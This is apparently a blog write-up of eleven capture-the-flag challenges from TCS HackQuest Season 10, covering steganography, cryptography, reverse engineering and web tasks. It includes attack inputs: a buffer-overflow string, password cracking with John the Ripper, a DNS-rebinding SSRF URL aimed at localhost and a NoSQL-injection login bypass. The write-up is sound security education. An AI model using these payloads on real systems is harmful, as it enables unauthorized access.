← Back to list

TCS Hackquest Season 10 — Round 1

By Kishan Jai Soorya a.k.a L0n3_W0lf

L0n3_W0lf · 2026-04-03 15:34 · 10 claps · 7.6 min read
#tcs-hackquest #season-10 #rmkcet #h4ck077 #tcs-hackquest-season-10
Open on Medium ↗

TCS HackQuest Season 10: Round 1

By Kishan Jai Soorya a.k.a L0n3_W0lf

Introduction

On 13th December 2025, I participated in HackQuest 10 — Round 1, a Capture the Flag competition with multiple domains including Steganography, Binary Exploitation, Cryptography, Forensics, Web Exploitation, and Reverse Engineering.

In this writeup, I will walk through my approach for each challenge, step by step.

Challenge 1: Noise

Category: Miscellaneous / Forensics

We were given a file named 0Ae703d1E7.opt. The file extension was unfamiliar, so my first instinct was to extract any readable strings from it.

I used the *strings command piped with grep* to search for the flag format directly:

strings 0Ae703d1E7.opt | grep -aE 'HQX\{[^}]+\}'

This immediately revealed the flag hidden among the noise in the file.

Flag: HQX{543c40987fbca1c89974603649428016}

Challenge 2: Hidden Layers

Category: Steganography

We were given a PNG image file named image_FFf6c9Ae7b.png. Since it was a steganography challenge, I decided to run zsteg, a tool that detects hidden data in PNG and BMP files through various bit-level techniques.

zsteg -a image_FFf6c9Ae7b.png

The -a flag tells zsteg to try all known methods. Among the output, the flag was clearly visible.

Flag: HQX{24c0ce09e06382ad3f9312439d1d48f0}

Challenge 3: StackFall

Category: Binary Exploitation / Pwn

From the portal, we were given an ELF binary file. I opened it in Binary Ninja to analyze the binary.

After decompiling, I found the main() function which calls a healthCheck() function. However, there was another function called win() — this was the actual flag printer, but it was never called directly.

Looking closely at the healthCheck() function, I noticed a vulnerability:

The program reads up to 128 characters using scanf(“%128s”, var_88), but the buffer was not large enough to safely hold that input — leading to a buffer overflow.

By entering 128 → A’s, the overflow overwrites the return address and redirects execution into the win() function:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

“A” repeated 128 times → skips all checks → triggers win() → prints the flag.

Flag: HQX{8d0b49450b73d5778ba31927f2b8e19b}

Challenge 4: Address Abyss

Category: Forensics / Scripting

We were given a log file containing a large number of IP addresses. After opening the file, I noticed that only two specific IP formats contained useful data:

  • IPv4 format: “92.7.A.B”
  • IPv6 format: “2510:a1:A::B”

In both formats, A represents the index (position in the flag) and B represents the character. All other lines were noise.

I wrote a Python script using regular expressions to extract and reconstruct the flag:

import re
ipv4 = re.compile(r'⁹²\.7\.(\d+)\.(\d)$')
ipv6 = re.compile(r'²⁵¹⁰:a1:([0–9a-fA-F]+)::([0–9a-fA-F])$')
flag_parts = {}
with open("ip_logs_A4152c7Ec8.txt", "r") as f:
  for line in f:
    line = line.strip()
    m4 = ipv4.match(line)
    if m4:
      index = int(m4.group(1))
      flag_parts[index] = m4.group(2)
      continue
    m6 = ipv6.match(line)
    if m6:
      index = int(m6.group(1), 16) # hex to decimal
      flag_parts[index] = m6.group(2)

flag = "".join(flag_parts[i] for i in sorted(flag_parts))
print(flag)

Flag: HQX{e1f63411d09f9abfd9786dbb0860d9f4}

Challenge 5: Seeds of Time

Category: Cryptography

We were given a file containing a ciphertext along with the Python source code showing how the encryption was performed.

The encryption logic was straightforward, it XORs the flag with a keystream generated by Python’s random.random() function. The seed used was int(time.time()), which means the random number generator was seeded with a Unix timestamp.

Since Python’s random module is not cryptographically secure and the seed is predictable, I wrote a brute-force script that tries timestamps going backward from the current time:

import time
import random
import string

cipher_hex = "f60d1ef6307bc56ed4f3f8fe41ea9b99d6ee77fe888e998649e0083b601303b923ebba81ca"
cipher = bytes.fromhex(cipher_hex)
  def is_likely_flag(text):
    if "flag{" in text.lower() or "ctf{" in text.lower():
       return True
    printable_count = sum(1 for c in text if c in string.printable)
    return printable_count == len(text) and len(text) > 0
  print("Brute-forcing seeds based on time…")
  current_time = int(time.time())
  seconds_to_check = 3000000

  found = False

  for i in range(seconds_to_check):
    seed_candidate = current_time - i
    random.seed(seed_candidate)
    keystream = bytearray(int(random.random() * 256) for _ in range(len(cipher)))
    decrypted_bytes = bytes([c ^ k for c, k in zip(cipher, keystream)])
    try:
      decrypted_text = decrypted_bytes.decode('utf-8')

      if is_likely_flag(decrypted_text):
        print(f"Success!")
        print(f"Seed: {seed_candidate}")
        print(f"Offset: -{i} seconds from now")
        print(f"Flag: {decrypted_text}")
        found = True
        break

     except UnicodeDecodeError:
      continue
    if not found:
      print("Flag not found in the search range.")

After running the script, it successfully found the correct seed and decrypted the flag.

Flag: HQX{c126bb454b4dfcec6eec51f0729fbd08}

Challenge 6: Dot-Trace

Category: Steganography

We were given a text file containing a pattern of dots, spaces, and tabs. The challenge description also included a flag snippet encoded in Base64.

After analyzing the file structure, I figured out the encoding scheme:

  • **.** (dot + space) = 0
  • **.\t** (dot + tab) = 1
  • **. . . . . .** was padding/separator
  • **.\n.\t.\n** was a block delimiter
  • **. . .** marked the end of data

Each block of bits formed a binary representation of a character. I wrote a Python decoder:

path = r"3bfFb2A0EAenc.txt"

with open(path, "r", newline="") as f:
    data = f.read()

blocks = data.split(".\n.\t.\n")

flag = ""

for block in blocks:
    if block.strip() == ". . .":
        break

    block = block.replace(". . . . . .", "")

    bits = ""
    i = 0
    while i < len(block) - 1:
        if block[i:i+2] == ". ":
            bits += "0"
            i += 2
        elif block[i:i+2] == ".\t":
            bits += "1"
            i += 2
        else:
            i += 1

    if bits:
        flag += chr(int(bits, 2))

print("FLAG =", flag)

Flag: HQX{ba44805fbe0f2e33ce4c0cacb2af175e}

Challenge 7: Synthetic Stacks

Category: Forensics / Steganography

We were given what appeared to be an image file. However, upon closer inspection, the actual file format was 7z (7-Zip archive) — and it was password protected.

Step 1: Cracking the Archive Password

I used John the Ripper to crack the 7z password. First, I extracted the hash:

7z2john archive_file > hash.txt

After cleaning the hash, I fed it to John:

john hash.txt

John cracked the password: angela

Step 2: Extracting the Contents

After extracting the archive with the password, I found a text file containing Base64 encoded strings.

Step 3: Decoding

I decoded the Base64 text and found an image containing a QR code. Scanning the QR code revealed the flag.

Flag: HQX{df30cb178eda45116b87893e6551c8de}

Challenge 8: Know Meh Better

Category: Reverse Engineering

We were given a Windows .EXE file. Since it was a Python-compiled executable, I used pyinstxtractor to decompile it:

python3 pyinstxtractor.py know_meh_better.exe

This extracted the .pyc files from the executable. Next, I decompiled the .pyc file back to readable Python using uncompyle6:

uncompyle6 -o . know_meh_better.pyc

After reading the decompiled source code, I understood the encryption logic. The program used len.doc as the XOR key and applied it cyclically to the cipher bytes.

I wrote a Python script to reverse the encryption:

slt = len.__doc__
cipher = bytes.fromhex("0123322c1714694427216d173a393b543f5a22576d132e0d23094759234a345a3a5d3f412c033f543c6a131d2e31115e4625")

print("".join(
    chr(cipher[i] ^ ord(slt[i % len(slt)]))
    for i in range(len(cipher))
))

The output was a Base64 encoded string.

After decoding it, I got the flag.

Flag: HQX{2483296533536a784253cd9245401d74}

Challenge 9: Fast and Rebound

Category: Web Exploitation / SSRF

After many attempts, I identified this as a DNS Rebinding challenge designed to exploit a Time-of-Check to Time-of-Use (TOCTOU) vulnerability in a Server-Side Request Forgery (SSRF) scenario.

Understanding the Vulnerability

The server validates the domain at check time (resolves to an external IP), but by the time it actually fetches the resource, the DNS has “rebounded” to 127.0.0.1 — the localhost.

Crafting the Payload

I used the rbndr.us service, which alternates DNS responses between two IPs. The service works by converting IPs to hexadecimal:

  • 127.0.0.1 → 7f000001
  • 8.8.8.8 → 08080808 (decoy external IP)

The format is: <IP1_Hex>.<IP2_Hex>.rbndr.us

http://7f000001.08080808.rbndr.us:8080

Getting the Flag

After several attempts (since DNS rebinding is probabilistic), the server fetched from 127.0.0.1 instead of the external IP. I found the flag at the /flag endpoint.

Flag: HQX{f37052426c34c286f35f1781c7aebf3b}

Challenge 10: Unfair Flip

Category: Web Exploitation / Client-Side

This was a browser-based challenge involving a coin flip game. By reading the JavaScript source code of the webpage, I understood that the game logic was entirely client-side.

The Exploit

The goal was to set all coins to Heads. Since the game state was controlled by a JavaScript variable, I simply opened the browser console and ran:

window.coins = ["H", "H", "H"];

Then, I called the hidden flag function:

window._hiddenFlag();

Flag: HQX{5c4e92253474f5d9f5e4800950e86a41}

Challenge 11: Mission No-Possible

Category: Web Exploitation / NoSQL Injection

This challenge presented an admin login page. After trying various payloads, I identified that the backend was vulnerable to NoSQL Injection.

The Exploit

I used the username eve and injected a NoSQL payload in the password field:

{“$ne”: “”}

This payload bypasses the authentication check because $ne (not equal) to an empty string matches any non-empty password in the database.

This gave me a token. Using that token, I accessed the admin panel and retrieved the flag.

Flag: HQX{a6bbcca13404fdb5e4856f4c81c8f95d}

I managed to rank in the Top 25 → check here

Thank you for reading! 😊


메타데이터
post_id
e4f405fe05b4
slug
tcs-hackquest-season-10-round-1-e4f405fe05b4
url
https://medium.com/@kishanjaisoorya16/tcs-hackquest-season-10-round-1-e4f405fe05b4
canonical_url
https://medium.com/@kishanjaisoorya16/tcs-hackquest-season-10-round-1-e4f405fe05b4
author_url
https://medium.com/@kishanjaisoorya16
status
ok
fetched_at
2026-06-25 12:15:08